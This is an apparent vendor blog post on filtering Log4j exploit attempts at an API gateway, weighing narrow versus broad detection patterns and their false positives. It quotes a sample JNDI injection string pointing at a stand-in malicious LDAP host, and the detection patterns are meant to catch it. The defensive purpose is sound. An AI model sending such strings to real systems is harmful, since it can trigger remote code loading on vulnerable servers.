Can You Pattern-detect Your Way Out of the Log4j Exploit Risk?

I don’t live under a rock, but I did just return from a few days in the backcountry without reception. Upon my return this morning, I was swept by the log4j vulnerability storm. My inbox was inundated with discussions and customer inquiries regarding the vulnerability and associated exploits.

Remediation for this vulnerability across all services of an organization is turning out to be a time-consuming effort. Many teams have been working overtime on this in the last few days. Although Broadcom’s Layer7 Gateway is itself not directly vulnerable to this in most cases (stay tuned for the latest on this here), the question is whether an API gateway has a potential role to play in protecting APIs from this threat, or at least buy some time for teams deploying remediation across the board? We can’t do your log4j patching for you, but we can help you in some cases.

API Gateways typically inspect HTTP traffic flowing through it, and applies policies in real-time. As part of evaluating these policies, you can evaluate specific patterns against all parts of API requests whether the URL, the headers, or the payload. From an API security perspective, exploiting this log4j vulnerability involves an attacker injecting a remote jndi address at part of an API parameter in a way that causes it to be picked up by the logger. Something like this below would be included in the API request input:

${jndi:ldap://malicious/foo}

You can apply patterns looking for the presence of such jndi addresses. The first thing that comes to mind is to look for anything that includes “${jndiâ€. Unfortunately, you can interject obfuscation into these addresses as has already been documented (and therefore now well known by any attackers) by multiple sources (e.g. here and here). Such obfuscations of the jndi address prevent its detection by just looking for “${jndiâ€.

One could further reduce the detection pattern to “${“ thus creating a wider net and eliminating the potential for obfuscation-based work-around.

WARNING – As your net grows wider, so do the false positives that result from it. Before rushing to apply such a blanket restriction on your API traffic, be sure to check for potential false positives using existing (legitimate) API traffic. After all, any combination of two-characters only is highly probable to occur in normal API traffic. This risk is very much domain-specific and may be zero in some environments. Only in these particular cases, would this blanket filter be effective. If you are worried about a particular asset being vulnerable to this attack, consider temporarily applying such a filter for this service only to reduce the risk of false positives elsewhere. As is often the case for any WAF-style signature-based threat detection, the added protection has a potential false-negative cost.

With added application knowledge, you can turn the blanket filter into a more targeted input sanitization at the API gateway level. An API Gateway typically allows you to apply pattern validation to specific inputs for specific headers, parameters, JSON paths, etc. As is best practice in API security, favor positive patterns over negative patterns. For example, if applicable, this pattern:

${inputfoo} is 6 characters long and is alpha decimal characters only
Offers stronger protection than

${inputfoo} does not contain “${jndi:â€
Because it further restricts future zero-day exploit potential.

If a specific API parameter becomes a known transmitter of the log4j exploit, API gateways allow you to dynamically apply new validation rules to get immediate protection while working on mitigating the log4j vulnerability at the source (and potentially adding more input sanitization at the backend). Targeting specific transmitters, combined with positive patterns, eliminate false negatives. This principle of API security is applicable to any threat under the OWASP API security top-10 item number 8 “Injection†which will be covered in the next blog on that topic.

Good luck with all that log4j patching,